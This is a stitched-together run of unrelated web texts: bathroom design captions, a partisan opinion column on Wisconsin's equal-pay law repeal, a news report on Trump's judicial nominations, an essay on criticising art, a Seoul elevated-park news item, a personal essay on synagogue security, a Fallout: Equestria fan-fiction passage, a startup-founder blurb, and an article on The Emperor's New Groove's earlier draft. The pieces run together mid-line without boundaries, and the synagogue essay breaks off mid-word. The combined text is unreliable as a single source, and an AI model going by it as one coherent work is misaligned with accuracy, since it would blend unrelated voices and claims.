Repetition via grid-like square tiles gives off a relaxing, resort-style vibe in this bathroom suite. The contemporary tub and sink and vanity “pop out” of the grid in its pristine whiteness.
A glass window framed by a striped wall makes this master bathroom a glam, voyeuristic experience. The ornate gold mirrors and a gold-tiled wall provide an even more opulent touch.
Glass dividers keep this narrow bathroom from looking space-deprived.
When you’re bathing from within a high-rise structure, it makes sense to maximise the great view with end-to-end windows.
Indoor plants fare well in brightly-lit bathrooms, as well as lend the space a fresh and nature-inspired feel.
How can the loo stir so much interest? When it’s as dark and sparkly and moody as this one, your guests won’t stop talking about it.
Take the pebbly route and use white river stones as flooring for your shower area.
When you have a light and bright bathroom with an outdoor view like this, it pays to literally frame the view with a black-bordered picture window.
Machuca tiles are often bright and colourful, but when done in grey, add just the right amount of vintage to a contemporary bath.
If you’ve got an irregularly shaped bathroom, flaunt it with darkly hued wall tiles against light-coloured flooring.
Create a calming Zen retreat by providing a mix of hidden and exposed storage. Make shelves more interesting with a zigzag design.
Invite the outdoors in by planting a row of full-fringed palms on one wall of the shower area.
Using dark marble behind the vanity and black mirror frames and sinks creates a dramatic focal point in this contemporary bathroom suite.
Get more inspiration from local designers by visiting Cromly's Design page.Just as Mitt Romney was making the case to Newsmax, that paragon of journalistic integrity, that the so-called Republican war on women is entirely concocted by Democrats, Republican Scott Walker was quietly signing a law that repealed Wisconsin's Equal Pay Enforcement law, which made it easier for women to seek damages in discrimination cases. Driven by state business lobbies, the repeal passed the GOP-dominated Legislature on a strict party line vote, and Walker signed it, with no comment, Thursday afternoon.
President Obama, meanwhile, was hosting a White House summit on women and the economy Thursday. Predictably, Republicans howled that the president is merely courting another "interest group" and playing politics. There was no doubt some politics at play during the summit; at one point participants chanted, "Four more years!"
Advertisement:
But really, when Republicans are repealing equal pay laws and proposing federal budgets that disproportionately hurt women, as well as restricting funding for contraception, who's playing politics with women's issues?
When GOP poster boy Scott Walker is repealing equal-pay protections for women, why shouldn't Obama remind us that he signed the Lily Ledbetter Equal Pay Act? Since the Ryan budget repeals "Obamacare" and slashes Medicaid and Medicare – both of which disproportionately serve women -- is it unfair to talk about how the Affordable Care Act provides cost-free contraception, preventive care like mammograms and Pap smears, and outlaws charging women more for insurance?
Yes, it's an election year, so everything the president does will be scrutinized for its political agenda. That's fine. But I continue to find it hilarious that Republicans insist that their troubles with women are the fault of nasty Democrats. Contraception aside, they're the ones cutting programs for women and repealing equal pay protection. To Newsmax, Mitt Romney again complained that Democrats are distorting the GOP position on contraception. And again I say: Democrats didn't crusade to defund Planned Parenthood. Democrats didn't introduce personhood legislation that would outlaw certain types of contraception. They didn't propose the Blunt amendment that would have allowed employers to deny insurance coverage for contraception as well as any health care treatment they don't approve of.
I wrote the other day that concern about contraception isn't the only issue driving the GOP's widening gender gap.
But a recent USA Today poll found that women in swing states say their number one issue is women's health care (men say deficits and the economy), and that makes an interesting point: Women see contraception as an integral part of their overall health care – as it is. We know that most women who use the pill, for instance, use it for a health reason other than contraception only. Republicans are the ones fetishizing birth control and putting it outside the boundaries of women's health care.
Mitt Romney and the GOP just don't get it. Everything about the way they're approaching these issues is backfiring.
Advertisement:
I'll be discussing all of this on MSNBC's "Hardball" with Republican Ron Christie at 5:30 ET.President Trump Gets A Head Start On Shaping The Federal Courts
Enlarge this image toggle caption Mark Wilson/Getty Images Mark Wilson/Getty Images
President Trump is moving quickly to put his personal stamp on the federal courts.
On Monday the president nominated 10 people for federal judgeships. Thanks to an unusually large number of vacancies on the bench, there could be many more to come.
"This is just a down payment," said John Malcolm of the Heritage Foundation. He noted there are more than 100 open seats on the federal district courts and appeals courts.
"Starting with a Supreme Court vacancy, which has now been filed, President Trump certainly has a very good opportunity early on to have an impact on the federal bench," Malcolm said.
Indeed, Trump came into office with a chance to fill more than twice as many court vacancies as President Barack Obama had. That's partly because for the last two years, the Republican-controlled Senate dragged its feet in confirming judges. The Senate confirmed only 20 of Obama's judicial nominees during 2015 and 2016, less than a third the number that were confirmed in the last two years of the Reagan, Clinton and George W. Bush administrations.
"Just as they held the Merrick Garland seat open on the Supreme Court, they also held open an awful lot of vacancies on the district courts and the courts of appeals," said Russell Wheeler, who tracks judicial nominations at the Brookings Institution.
At last month's swearing-in ceremony for Supreme Court Justice Neil Gorsuch, Trump acknowledged that Senate stonewalling had given him a rare opportunity.
"I especially want to express our gratitude to [Senate Republican Leader] Mitch McConnell for all that he did to make this achievement possible," Trump said. "So thank you, Mitch."
The Heritage Foundation's Malcolm cautions it wasn't a risk-free strategy. Had Hillary Clinton won the election, she might now be packing the courts with a slate of more liberal judges.
"So it took some guts and some daring on behalf of Sen. McConnell, and it paid off," Malcolm said.
Trump campaigned on the promise that he would appoint conservative judges to the bench — a key selling point for many Republican voters. He even released a list of potential candidates for the Supreme Court, which Malcolm and the Heritage Foundation had a hand in crafting.
Two of the nominees announced Monday — Joan Larsen of the Michigan Supreme Court and David Stras of the Minnesota Supreme Court — are drawn from that list. Larsen was nominated to a seat on the federal appeals court in Cincinnati while Stras was tapped for the appellate court in St. Louis.
All of the nominees appear to be cut from similar judicial cloth.
"They are all highly regarded in conservative legal circles and by practitioners in the states where they reside," Malcolm said.
All presidents leave a mark on the courts, especially if they serve for two terms. But with so many early vacancies, Trump has a chance to accelerate his impact, quickly chipping away at the narrow Democratic advantage that Obama left on the federal bench.
Wheeler says 51 percent of the current judges were appointed by Democrats, up from 36 percent on the appellate courts and 40 percent on the district courts when Obama took office.
Partisan pedigree is not always predictive of how judges will rule. The Seattle judge who blocked Trump's original travel ban, for example, is a George W. Bush appointee. But Trump has made no secret of the kind of judicial philosophy he's looking for.
"We can assume the Trump administration is going to continue to nominate judges, especially for courts of appeals, who have fairly strong conservative credentials," Wheeler said. "A big variable is whether or not Democratic senators can put a brake on it."
Senate Democrats gave up the right to filibuster nominees for the lower courts. But there is still a tradition that nominees should not be confirmed over the objection of their home-state senator. Democratic senators from Michigan and Minnesota have promised to give close scrutiny to the nominations of Larsen and Stras, assuming that genteel tradition survives in today's more rough-and-tumble Senate.Not too long ago, some folks were disappointed and even offended at the content of Dave Chappelle’s Netflix comedy specials. Many dismissed these people by claiming they were overly sensitive and clearly didn’t understand comedy. Afterwards they began to draw parallels between the “offensive” comedy of bygone years and how it wouldn’t fly in the present-day social climate. Fast forward to Kendrick Lamar dropping his new single and video “Humble” and the subsequent backlash to it. A group of women took offense to Kendrick’s bars about “natural” beauty versus made up IG models and Kendrick fans (overwhelmingly males ones) began to push back at the critique. They argued that Kendrick merely stated his preference while it was pointed out that Kendrick sometimes comes down on what could be considered the “hotep” side in terms of his personal views.
I saw the debates raging about Kendrick’s bars both through social media and in real life, and one thing bothered me more than anything else: the wholesale dismissal of other people’s feelings and opinions about art. In this era of real-time social media and immediate gratification I feel as though we tend to conflate what constitutes a “hot take” with someone’s very valid interpretation of or reaction to art. We need to remember that we all have different triggers and experiences, which means that certain things one person may not react to will incite a visceral reaction in others. Two people can watch the same film or read the same book and have completely different takeaways from them. We tend to forget that can also apply to music as well. I can watch a show and suddenly lose the ability to suspend belief because of something that happened onscreen. Most people won’t. The same thing can happen with a line or a few bars of a song—for some of us.
It bothers me that there’s a gang mentality that pushes against those who have another take or view on something out of fear that it might minimize the artist. I don’t agree. Anyone who makes art does so knowing criticism and/or scrutiny is inevitable. I understand that the gestation period for reactions to art has become shorter due to the proliferation of social media. I get that people feel this lack of processing time automatically leads to disposable opinions, but don’t be so quick to paint everyone’s takes with such a broad brush.
I personally don’t want to live in a world where artists or creators feel as if they’re beyond being challenged or taken to task for their actions or output. I’m very concerned about their fanbases blindly shielding them from any kind of criticism they might experience. For me, there’s another layer entirely that tries to protect certain artists because they’re aligned with corporate interests versus feeling the need to defend an artist from someone with an agenda trying to “tear them down” or discredit them. Trust me, Kendrick can deal with criticism. If an artist can’t stand up to critique then they shouldn’t make art at all because it comes with the territory. Also, we need to be less reactionary and more critical in terms of whom we attack just for having a differing opinion or viewpoint than we do.
There is quite a difference between an under-informed opinion—a “hot take” or kneejerk/instinctual reaction that doesn’t delve deeper than the surface—and a viewpoint that’s formed from experiences you may or may not have had yourself. We need to acknowledge that we all have blindspots in regards to many things so we have no clue how others might process the same work of art, media, or information. I find it especially problematic how men seem to brush aside women’s feelings in regards to voicing their displeasure or concerns over things—whether it be Dave Chappelle making rape jokes, Kendrick Lamar’s “natural” references or French Montana calling a Black woman “nappy headed” on social media. I would say it establishes a dangerous precedent if it weren’t for the sad fact that it’s already the status quo.
Few things annoy me more than when people bemoan the “PC” times we live in. I’m going to turn 42 this Summer and I hate to break it to you but that’s been the case since the early ’90s. You know what came out of it? I got to hear Asians not called “Oriental” anymore, and a bunch of old set-in-their-ways folks were finally told what they’d been doing and saying their entire lives was wrong as fuck. But they were so entitled they never got called on their shit. You can cry about people being “fake woke” and list their contradictions, or you can check yourself to see if you might be completely erasing or minimizing someone else’s viewpoints—merely because they’re not based on your own experience. It’s possible for someone else’s perception to be completely valid without you having to agree with it.
Automatically lumping together the half-baked thoughts of reactionaries and those who are fake outraged for attention with those who bring up valid points and alternative points of view is a mistake. Without being open to criticism and different perspectives you’re preventing yourself from figuring out your individual blindspots and shortcomings. It’s hard to contemplate the possibility you might be oblivious to something that’s very real to others, but that’s how we grow and evolve as people. I’m not the same person I was 5 years ago because I allowed myself to be challenged and accepted that as a critic myself I was not immune to criticism. I realize that a lot of things I have said and thought were wrong and no longer reflect the rapidly changing world we live in.
In conclusion, we all need to accept the fact that all art is open to different interpretations. We need to stop tearing each other down or engaging in erasure of dissenting voices. Any time people try to fight growth, enlightenment or progress they’ve ultimately ended up on the wrong side of history. Everything doesn’t always boil down to people being “too sensitive.” Sometimes you’re just being too closed-minded.An artist's concept for an elevated road near Seoul Station after it is turned into a park, resembling High Line Park in Manhattan, New York City
/ Courtesy of Seoul Metropolitan Government
By Jung Min-ho
Seoul will have its own version of Manhattan's High Line, a grassy elevated park, Mayor Park Won-soon said Tuesday.
During his visit to New York City, Park revealed a plan for converting an elevated roadway near Seoul Station by the end of 2016. The road has connected central Seoul with the city's west since the 1970s.
"The roadway is a historic heritage from the industrialization era, which means it is much more than a road," he said. "Once completed, it will be a tourist attraction. It will also help the regional economy around Namdaemun Market."
The Seoul Metropolitan Government (SMG) is now collecting the ideas for the conversion. It plans to hold a contest sometime in October.
SMG expects to spend about $37.5 million on the project.
The story of High Line being created from an abandoned elevated railway section to a tourist attraction inspired Seoul urban planners and the mayor.
The railway, which ran along the lower west side of the city for 2.33 kilometers, was facing demolition until a non-profit group came up with the idea of preserving the structure and reusing it as a public park.
Today High Line gets nearly 5 million visitors annually from around the world.
The mayor of Seoul – the city that has torn town more than a dozen elevated roads since 2000 – said the paradigm of "good development" has shifted.
"The project will be a good example of the paradigm change," Park said. "It is better to rejuvenate the city instead of destroying its cultural heritages for building something new."
In July, according to the SMG, its officials and experts discussed how to rejuvenate the old bridge.I rounded the corner and started examining the London townhouses, knowing the one I sought would be devoid of markers announcing any Jewish presence. Finally spotting the synagogue, I went to climb the stairs when, out of the corner of my eye, I saw two men in dark coats cross the street and call to me. I knew who they were and what they wanted.
Questions and answers.
“Where are you going?”
“To synagogue.”
“Where are you from?”
I paused, because I’m never really sure of that answer any more. “New York. I work for New York University, I’m visiting.”
“Where do you go to synagogue?”
Again, I faltered. There were too many answers to that question. “Well, I’m originally from Seattle and there I went to Shevet Achim.”
“Who is your rabbi?”
In Seattle? New York? “Well, it’s complicated, but Rabbi Yehuda Sarna.”
“Ok, and do you keep Shabbat?”
“Yes”
“Do you have ID?” Trick question.
“No, but I emailed my passport copy to the shul on Thursday.”
“OK, and is there anything in your pockets?”
Just my hands, I showed them. Convinced, they radioed inside and the doors opened.
Question and answers.
I was late, arriving only in time for kiddush. I stayed for minchah to make up the difference.
Leaving in a light drizzle, I began to cry. The streets of London aren’t like those of New York City, where crying in public is par for the course, almost a right of passage. I clasped one hand over my mouth and the other to my gut, pulling my sorrow back inward.
I tried to name my sorrow as I walked to lunch. I have had to prove my Judaism before, and in ways far more painful. But never had I done so in order to simply enter a shul. Never had shibboleth been needed in order for me to pray in community. The questions were like those asked by El Al security before a flight to Israel.
It was both the act of proving my identity and the dark reality of why I was being asked to do so that had me fighting the urge to sink into the pavement on that gray Saturday. I cried for the security I’d left behind as an American Jew, and for those who could not fathom it.
Two Shabbatot later, another shooting, another dead Jew in a synagogue in Europe. Both soldiers and armed volunteers adorn our houses of worship. Who stands outside of yours?
On Monday night I sat in the pews of the Great Synagogue of Florence for a memorial service for Dan Uzan, the synagogue guard killed in Copenhagen. The cadence of Italian fell lightly on my ears, the words reverberating in the dome of the ceiling, their echoes adding gravitas. Lost, I began reading the Hebrew inscriptions on the illuminated walls. Above the ark, where I am often comforted to see the words “Da lifne mi atah omed”—“know before whom you stand,” instead was written “Barukh kavod Hashem mimkomo.” “Blessed is the honor of God in His place.” I read those words over and over, hardly noticing as I stood for Kaddish and answered amen. I kept re-reading.
And then I thought of #IGoToSynagogue, the hashtag created by the European Union of Jewish Students after the Copenhagen shooting to show solidarity and express the right of Jews to gather and worship in community and in peace.
I thought of how Judaism lives and breath |
, I never really paid attention to that part of the bedtime story. Balefire bombs and tank guns are just more fun! "As for my other dad Featherweight, and aunt Buzzy, I think they were both surface-born pegasi. Never really asked." Giving Crash Dive a shrug, I went back to sipping down the Sparkle-Cola, the mare across from me wearing a blank stare. "What, something on my face? Are my eyes glowing? Dad said that that can happen sometimes."
"O-ho-kay, let's take it back for a moment, just so I have this clear. Your dad Twintails was born inside a Stable, but his mother lived on a Grand Pegasus Enclave cloudship, so, technically, you're at least part of the Enclave genealogy. But your aunt and... other dad, Featherweight, they're pegasi that were born on the surface." Nodding in response, Crash Dive rubbed at her forehead, the last lights of evening slipping down below the horizon. Staring at the open bottle of whiskey, she raised a hoof, sitting herself back up. "Okay, just answer me this, how in the name of tartarus and the goddesses do you exist, when you didn't and don't have a mom?"
Finishing up the bottle of Sparkle-Cola, I paused for thought for a moment, resting my cheek against my hoof and looking up at the sky through the window. Okay, I know that Paladin Nova said something about how it worked at some point, um... oh, right! "Well, Featherweight and Twintails both gave Paladin Nova samples of their DNA, and I was carried to term by Flash-Bang, Twintails' female doppleganger. They could probably explain the specifics better than I can, medical stuff isn't my thing..." Peering into the bottle of Sparkle-Cola, I lifted it with my jaw to get the last few drops, the bottle of whiskey on the table jumping as Crash Dive let her power armored foreleg fall and slam into it, a slack jaw and vacant stare on her face. "What?"
"Oh, Celestia above I need that drink."
---
"Well, I've got some good news, and I've got some... less-than-good news." Crash Dive struggled her way out of the bomber's cockpit, her armor's broad shoulders scraping against the metal walls of the door slightly. Both myself and Static wore a grimace, the pink-maned pegasus looking back at the craft. "Good news, no major structural damage, from what I can see, and the repair talismans are all in working order. Give it a while, and she'll be ready to get out of here." Static bore a wide grin, resting on top of the engine above the intake. I returned it - home's only a matter of time, now. Crash Dive rubbed at the back of her head, still looking at the cockpit of the plane.
"The, uh, the less-than-good news is, the talismans weren't built for performing a complete overhaul in the case of a crash. The Mark VI was made for repairing battle damage, designed so that it'd function at full while the engines are running. Only had enough battery power left to fix some of the electronic systems... you're gonna need some other power source."...okay, home's seeming a bit farther away now. Static hopped down from the top of the wing, his umbrella on his back underneath his saddlebags. Ooh, his cutie mark's a lightning bolt, could we plug his butt into it to see if that'd work?
"Er, how big a power source are we talking? I... think I have a few spark batteries in my bags. If they're good enough to power Ivan and Jolts..." He shrugged, looking back to Crash Dive. Well, concentrated lightning does tend to have a lot of power behind it, from my understanding. Suppose it might work, maybe. The power-armored pegasus opted to disagree.
"Bigger. We'd need at least a functional portable generator, one of those pre-war ones they used with the military or construction companies. Spark batteries... unless you've got a million or so of them, no dice." Well, least it wasn't entirely hopeless. Crash Dive thought for a moment, trotting herself past the nose of the craft and looking at the lush wasteland beyond, looking off in the distance. She lingered for a while, Static giving me a slightly confused look - no, it's not just a pegasus thing. "I know that there are some pre-war bases in this area, a couple kilometers away from each other. Jericho Beach, Seahoof Armory, Vanhoover Air Base, et cetera. It's a long walk, but there's probably at least somewhere around there that you can find a military-grade portable generator." She paused for a moment, a certain look coming to her face. "I can show you to the nearest town, but only for you to find a map. I won't go in with you."
"Alright, so, we going to head off, or what? Sooner we get this thing taking off again, the better, right?" Myself trotting over to Crash Dive, she let off a sigh, looking skywards. Thinking for a moment, she gave her head a shake, turning her gaze south and beginning to walk. Well, that's a touch rude... "H-hey, are we going now or not?"
"Too late in the day now, by the time we get back here the land bridge would be flooded over. I need to get some things together, anyways, and check the traps for anything. You two can help carry stuff, if you want, would make it a bit easier." Following behind her by a few trots, I slowed down, looking behind at Static. His eyes met mine, and he gave his shoulders a shrug, catching up with myself as we continued along. Crash Dive glanced over her shoulder at myself, giving a faint nod and letting us both catch up. "Alright then. We'll set off first thing tomorrow, O-500. Either of you aren't moving, I'll wake you up, so be sharp."
"Five AM... last time I woke up then was when Minty and Cross Stitch found that horn ring. Eewuh." The earth pony shuddered, falling back a few steps in the process. "Not the most pleasant of sounds to wake up to." Answering him with an eyeroll - yeah, stay a night at my house, I swear I could make a record of 'unpleasant sounds to wake up to' - we continued on, the barbed tail of Crash Dive's armor flicking about every now and again. Static trotted close on the opposite side of the mare, the barb making a quick jab at him almost reflexively, prompting him to jump back. O... kay then. Yeah, probably is better if you stick on my left side while I stick to hers, ya earth pony. "S-so, er, what happens after we get a map of this place? We going off on our own, or..."
"No, I'm coming along with you two. After Night Strike... informed me, of what exactly was inside the bomb bay of that thing crashed outside my home, I'd really rather not have to get my armor irradiated to pound you both into a pulp. I'm a bit allergic to megaspell detonations." Wow, I didn't know snark was a learnable course in the Enclave. As we passed a small group of faintly withering flowers, the pegasus came to a stop, sniffling a bit before letting off a heavy sneeze. "...and poppies. Damn glad we're going out when we are, storm season means the things are all dying out." Stepping up to the reddish flowers, Crash Dive lifted her forehooves and rather maliciously pounded the things into the mud and dirt. Okay, now that makes dad using the TOG's gun to kill bloatsprites seem reasonable by comparison.
"Uh, when you say'storm season', d'you mean more of the stuff we saw the night we came in? With the lightning and heavy rain, and stuff?" Static's voice sounded a bit uneasy, and for good reason. I try taking the Valkyrie off in that kind of weather... yeah, no promises we wouldn't just wind back up in the dirt later while heading home. Zero visibility sucks like the vaccuum wave from a megaspell detonation... goddesses, I gotta come up with better comparisons. My dad says that, for pony's sake! Crash Dive looked over at him - or, maybe at me - before peering about the area, coming to a stop and turning herself left.
"No, not quite. Vanhoover gets some nasty weather coming in from the sea sometimes, occasionally ground born pegasi handle it when it gets especially bad and drifts inland, but this time of year it starts getting to be more than they can deal with. Not that anypony wants to be flying when it's below zero - I know I certainly didn't enjoy that all that much." The pegasus came to a stop by a couple odd-shaped rocks, and a rusted, seemingly miniaturized bear trap. It was triggered, but empty, by some miracle. She grimaced, her hooves moving to re-arm it, the metal groaning as it was pushed back into an unsprung state. "In-built heaters can only do so much. Already starting to get a bit chilly."
Now that got her a look of confusion from the both of us. I dunno where she's coming from, but I'd call the temperature right now pleasant, just like being under a blanket back home - this is cold for them? Whew, thank Celestia we didn't come a few months earlier... I'd rather not be a puddle-pony. Both myself and Static minding the re-armed trap, we moved further along to another small set of rocks, this one surrounded by taller grass, concealing a metal cage. The power armored mare knelt down, peering inside the metal box for a moment before returning to her hooves. She let off a sigh, trotting back along. "Starting to get sick of fish..."
"Don't you do any trading? There's gotta be someone somewhere who does hunting around here." Scratching at my head, I watched as Crash Dive came to a stop, facing away from the both of us, before continuing forwards. O... kay then. Yeah, maybe I should've remembered who I was talking to. We continued along to another grassy patch, the power armored pegasus again kneeling down to look inside, giving a glance back at us.
"Yanno, I think I can handle it from here. You two head on back to the house, listen to the radio or something. I've got an old games system in the basement of the lighthouse, if you're into that." The pegasus picked herself up - er, was it something I said? - looking over the both of us with a certain gaze that seemed to make her drill her point across clearer. Okay, okay, we'll go back, don't steal my soul or something. With a nod of compliance, we both turned about, heading for the small cliffside path and land bridge. As we trotted off, I turned and looked back, catching a glimpse of Crash Dive procuring a small tin container from the trap, pulling something from it and feeding it into her armor. Huh...
---
"Welcome back, you're listening to Radio K A O S, KAOS in Vanhoover. Our top story today is the continuing slew of reports of a strange flying craft that crash-landed just inside the perimeter of the haunted lighthouse. Witnesses to the crash describe the craft as being roughly triangle-shaped with a massive fin on its back, and jets of blue flame shooting from it's back side. They also describe it as making a low rumbling sound, as well as a deafening blast on par with a balefire bomb explosion; a family of ghoul witnesses have been admitted to the MASH Triage outside of Hopeville for psychiatric counseling following the appearance of the craft. Due to the nature of the no-go zone between safe roads and the lighthouse perimeter, nobody has yet confirmed if the craft is in one piece, but speculation from some have argued that, and I quote; 'if it's a piece of Equestrian technology, it was built to last.' I'm inclined to believe them, considering I'm talking to you from a pre-war battleship that's sat moored outside for two centuries and is still afloat, eheh.
"Anyways, again, you're listening to Radio KAOS, and we have all those classic songs of the war lined up for you, so sit back, relax, and try to not be our next news segment going after that flying thing."
"You and I in a little toy shop,
buy a bag of balloons with the money we've got.
Set them free at the break of dawn,
til one by one, they're all gone.
Back at base, bugs in the software
flash the message, 'Something's out there!'
Floating in the summer sky,
Ninety-nine red balloons go by..."
---
"Uh, Night Strike? I think I found that game thing Crash Dive was talking about." Static grunted slightly, setting a metal box of various parts down and peering into the hole it left behind. Shoving another box out of the way, it revealed a small metal terminal, two buttons located where a keyboard would be on a regular one, and one large switch on the side. Sheesh, looks like something even oldder than the TOG... hooking his hooves around the back, Static hauled the thing out, it scraping rather loudly against the stone floor. Ouch. "Goddesses above, what'd they make this thing out of? Lead?"
"Considering the state of Equestria before the war, I wouldn't be surprised if that were the case." He steadied it on his back, myself moving alongside him to keep it level as we moved to the spiral staircase on the wall. It's just one flight, c'mon ya big baby. One hoof kept on the thing to keep it steady, the door to the small house connected to the tower soon approached, myself getting the door as Static strained under the weight. The floorboards creaked loudly as we trotted through, the earth pony being quite relieved when we reached teh kitchen and shuffled the 'game system' onto the table by the window. He slumped into the bench on one side, myself walking the thing back along it until we both could comfortably see the screen. Static sat recovering for a moment, myself looking over the thing. "So... uh, I think the on switch is on your side."
"Oh... alright..." The thing resounded with a loud clack, followed by the whine of a small fan spinning to speed and the hum of the screen. We both watched as a pair of thick white boxes popped up, along with a smaller white box in the center. The image stuck on the screen for a while, both of us a bit afraid to touch anything. "Um... is it, like a targeting reticle or something? Haven't a clue." He scratched at his head, myself reaching forwards and looking at the two buttons on the console. Pushing one upwards, I think we both jumped a little as the square in the center began moving around, hitting one side and making the console beep before disappearing off the left side. O... kay then.
"I don't get it."
---
"Alright... Sparkle-Cola, check, bottlecaps, check, Thumper... heh, check. What ammunition have I got left..." Settling in for the night after a while of trying to figure out how that game-thing worked - took until Crash Dive came back and showed us that the buttons were also knobs that moved the rectangle things - I took the time to go through my duffel bag, get ready for tomorrow. The large case of ammunition clattered against itself as I set it on the floor, Thumper resting up on the bed with a dragon's breath shell in the chamber. Opening up the box, the sight of the brass casings prompted a smile on my face. Oh, the lovely sight of lots and lots of grenades, slugs, and shells just waiting to be used...
Belt by belt I began to pull them out, the radio on my legputer playing, looking over each strip of seven for any dents or other things. Good thing the primer needs to be fired to activate the fuse, I don't think a cockpit filled with explosions and shrapnel would've been as survivable. Standard HE rounds, twenty, check. Incendiary HE rounds, fourteen, check. Dragon's breath shells, twelve, check. Slug shells, six... wait a second, grenades usually aren't plastic. Pulling the last strip comprised of the solid slug shells out of the grenade box, I worked the odd one free of it's latch, a note coming free from it. Weird...
"'Dear Strikey'... fuck..." Great, Dad added it on. Oh, if we weren't Celestia knows how far south right now he'd probably have a smug look on his face when he saw I'd found this. Hm... we've been gone three days now, he's probably getting worried. Probably was worried by the time we didn't come back to EQUAD... oh... "'Dear Strikey, if you're reading this, you took Thumper and the grenades again, and probably worked through enough of them to have reason to use the Slug rounds. Yes, I expect you to pay for replacing all of the ones that you used.'" Classic Dad, snarky even in writing... "'Inside the fake capsule that this note's around is a gift for you I got from Cross Stitch. I hope that you'll remember it next time you go out on another one of your crazy adventures. I love you, my little megaspell. -Twintails.'"
Setting the note down, I quieted the radio slightly, my attention turned back to the plastic casing, my forehooves gripping around it. Okay, so how does this thing open... tugging on it? Eh, nope. Bending? Hm... well, it kinda did something. Twisti- a-ha! Smiling for a moment, the top of the case came off, and I let the contents empty out into my forehoof. I blunk a few times, not entirely sure what it was for a moment, before... before those two lime-green buttons on the golden felt face stared up at me, hidden behind a bit of black mane. The plastic case fell to the floor with a small clatter, my vision starting to become a little blurry as I carefully brushed the dark green overcoat back, revealing the black, bulletproof vest, faded blue pants, and pair of brown and gold tails. I leaned back against the bed, staring into the eyes of the plushie for a moment, before hugging it tightly against my chest and letting the waterworks run. Celestia, I missed home...
"You're tuned in to Radio KAOS, bringing you the songs of yesteryear and other pleasantries for your listening ears. Here's one from a beautiful mare I once met, a long, long time ago; Vera Lynn, and she's reminding us all that no matter what, we'll always meet again, some sunny day."
"Daddy..."
Full Story Arc
Fallout: Equestria created by kkatmanThe Ironically Unhealthy Lifestyle of Running a Health Tech Startup
Startups and Health are hard to manage. Especially together.
Sameer Sontakey Blocked Unblock Follow Following Feb 10, 2017
The tech community has developed the unfortunate habit of glorifying unhealthy lifestyles. 80 hour work weeks, minimal sleep, eating for sustenance and convenience over nutrition and balance — the entrepreneurial grind is often based on destroying our bodies to pursue some greater vision.
We’ve romanticized insane amounts of caffeine and normalized cheap meals to the point of no return; our depraved nervous systems are a badge of honor worn by the brave few willing to forgo sleep in the name of progress.
In short, it’s crazy.
Not to say this extreme lifestyle is unnecessary; Startups are a lot of work and, when juggling it along with everything else in our lives, they can be nothing short of brutal.
I’ve been reaping the negative effects of a full blown startup routine for almost a year. I’ve been splitting my time between a wife, newborn, full-time engineering job, and a budding startup––the result is total physical exhaustion.
The painfully ironic part? I’m the founder of Biostrap, a clinical grade health startup.There isn't a single movie made today that didn't go through tons of changes from script to the screen. When so many people are involved in the process, from producers to directors to actors, edits and tweaks are unavoidable. But rarely do films go through such a massive shift as the Emperor's New Groove. These days the lighthearted comedy is a fan favorite in part for being one of the funniest cartoons Disney ever made -- but it wasn't always that way.
In its initial stages, The Emperor's New Groove was known as Kingdom of the Sun. This was back in the mid-90s, just after the Lion King and Beauty and the Beast had helped usher in a new era for Disney. Like TENG, Kingdom of the Sun still focused on the Incan civilization, but the story was grander, the tone more in line with "traditional" Disney animated features. This version of the movie did indeed star a cocky young emperor who later turns into a llama, but that's where the similarities end.
via John Watkiss
For a while there, the emperor's name wasn't Kuzco, but Manco. This was, of course, before everyone figured out that "manco" is pretty close to "omanco," which means "vagina" in Japanese. In the original draft, Manco did befriend a local villager named Pacha, but he wasn't a big lovable John Goodman type as we see in the finished product; instead, Pacha bore a striking resemblance to the emperor himself, with the exception of being voiced by a young Owen Wilson. You can probably tell where this is going. In a classic but predictable move, the two decide to switch places and live in the shoes of their doppelgangers. Yzma is still around in this story (though unfortunately Kronk wouldn't come til later), and once she catches onto their scheme she turns Manco into a llama, leaving the weak-willed Pacha to rule the land underneath her thumb.
If Kingdom of the Sun sounds a little more generic than The Emperor's New Groove, that's because it is. The whole "Prince and the Pauper" switcharoo story has been done to death, with multiple direct adaptations coming from Disney themselves -- and we're not even counting The Parent Trap. Even so, John Watkiss' concept art was is pretty dang nice.
via John Watkiss
Not only was Kingdom of the Sun more serious (and seriously Kronkless), it was also envisioned as a full-fledged musical. Singer/songwriter/eternal John Constantine cosplayer Sting signed on for soundtrack duties. Yet, the only place his voice can be heard is in the end credits for the film, in a somber but hopeful song that doesn't quite gel with Kronk's Squirrel Scout meeting that caps everything off. For once, something isn't Sting's fault -- he wrote that song for a completely different movie.
As the story goes, Disney wasn't happy about the box office takes of Pocahontas and The Hunchback of Notre Dame, and it looked as though the struggling Kingdom of the Sun was headed down the same road. And so, word came from on high that the project was to be shut down and entirely retooled. This is pretty much unheard of for Disney, who had already sunk years of production and $30 million into Kingdom of the Sun. 25% of a finished film was basically thrown out or completely repurposed. This includes almost all of the songs from Sting, who had specifically taken months off of touring to compose for a movie that no longer existed.
Among the cuts were major characters that had been fully designed.
The most prominent female protagonist in The Emperor's New Groove is probably Pacha's wife Chica. That was before the movie was turned into a buddy-bro comedy, of course. In the Kingdom of the Sun era, Kuzco (still Manco back then) actually had a pre-arranged engagement to a girl named Nina. Like everyone else, Nina thought Kuzco was a grade-A prick. But when Pacha secretly swaps in for the emperor, Nina starts to warm to the idea of marrying the "emperor." Sting even wrote a whole song about their romance.
That's not to say Kuzco didn't have his own love interest.
via Sandro Cluezo
Voiced by Laura Prepon (aka Donna from That 70s Show), Mata seems like she was supposed to be a sharp but sarcastic peasant type that would have brought Kuzco down to earth. It's a nice idea, until you consider the fact that she'd basically have to fall in love with a llama.
Though it's kind of a bummer to know that there are "lost" Disney princess that we'll never get to see, some of the other deleted characters were probably better off uncanonized.
Hucua was a small but intelligent talisman that initially hung out with Kuzco. However, when Hucua grew tired of Kuzco's groove, he sided with Yzma and helped unseat the emperor. Strangely enough, the character that most represents Incan culture was supposed to be voiced by... Harvey Fierstein. You know, that dude from Independence Day who freaks out about calling his mom and gets torched while sitting in traffic. I think we can all agree that Kronk was a welcome replacement when it came to bumbling henchmen. Though his role was removed entirely from the film, Hucua does make a cameo in the finished product as a candleholder, and can be seen during Kuzco's "funeral."
It's probably for the best that Huaca was downgraded to window dressing, especially considering one disturbing scene. Some of the original storyboards imply the existence of a scene where Pacha (disguised as the emperor) is asked to perform a ritual sacrifice on a llama (a transformed Kuzco). When Pacha refuses, Huaca is beside himself with rage, unable to fathom why someone wouldn't want to murder another human being.
Even when Kingdom of the Sun was no more and Emperor's New Groove emerged, there were still a few kinks to work out. There are a few scenes that were partially completed, but didn't make the final cut of what's otherwise an 80 minute movie. One sequence was seemingly ready to go before a last-minute decision left it on the cutting room floor. The bit in question comes right after this scene.
